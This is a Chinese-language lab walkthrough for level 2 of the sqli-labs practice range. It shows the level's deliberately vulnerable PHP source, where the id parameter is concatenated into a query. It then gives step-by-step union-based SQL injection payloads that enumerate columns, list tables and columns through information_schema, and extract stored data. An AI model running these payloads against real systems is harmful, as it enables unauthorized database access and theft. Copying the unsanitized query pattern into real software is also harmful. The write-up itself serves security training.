sql注入–数字型
靶场:sqli-labs-master
下载链接:靶场下载链接
第二关php源码
<?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); // take the variables if(isset($_GET['id'])) { $id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; echo $sql; echo "<br/>"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font color= "#FFFF00">'; print_r(mysql_error()); echo "</font>"; } } else { echo "Please input the ID as parameter with numeric value"; } ?>
补充知识:
1.php中双引号中语句会对变量进行解析,单引号中的不会
2.sql查询中如果查询条件不是数字的话,那么一定要加上引号,而数字型则不需要
首先测试?id=1
测试?id=abc
测试 ?id=’ %23
出现报错,说明我们的输入被拼接到了sql语句中并在后台进行查询了,并且查询条件中没有引号(因为使用单引号无法闭合),那么查询条件一定是数字,可以确定是数字型的注入
然后就和上一篇文章中的做法一样
sql注入–报错型
①.获取字段信息
SELECT * FROM users WHERE id=1 order by 3 # LIMIT 0,1
可以知道数据表存在3列
②.判断回显点
SELECT * FROM users WHERE id=0 union select 1,2,3 # LIMIT 0,1
由于数据库中不存在id为0的数据,故可以用此语句进行判断
由此可知,回显点为第2列和第3列
SELECT * FROM users WHERE id=0 union select 1,database(),version() # LIMIT 0,1
③.通过information_schema查询当前数据库中的所有表的名字
SELECT * FROM users WHERE id=0 union select 1,group_concat(table_name),user() from information_schema.tables where table_schema=database() # LIMIT 0,1
得到当前数据库中有4个表:emails,referers,uagents,users
④.通过联合查询information_schema中的columns获取表的字段名称
emails表
ELECT * FROM users WHERE id=0 union select 1,group_concat(column_name),user() from information_schema.columns where table_name='emails' # LIMIT 0,1
可得到emails表中有2个字段:id, email_id
referers表
SELECT * FROM users WHERE id=0 union select 1,group_concat(column_name),user() from information_schema.columns where table_name='referers' # LIMIT 0,1
得到referes表中有3个字段:id, referer,ip_address
其他表同理可得
⑤.获取指定表的数据信息
比如获取emails中的数据信息
SELECT * FROM users WHERE id=0 union select 1,id, email_id from emails where id=1 # LIMIT 0,1
其他表的信息同理可得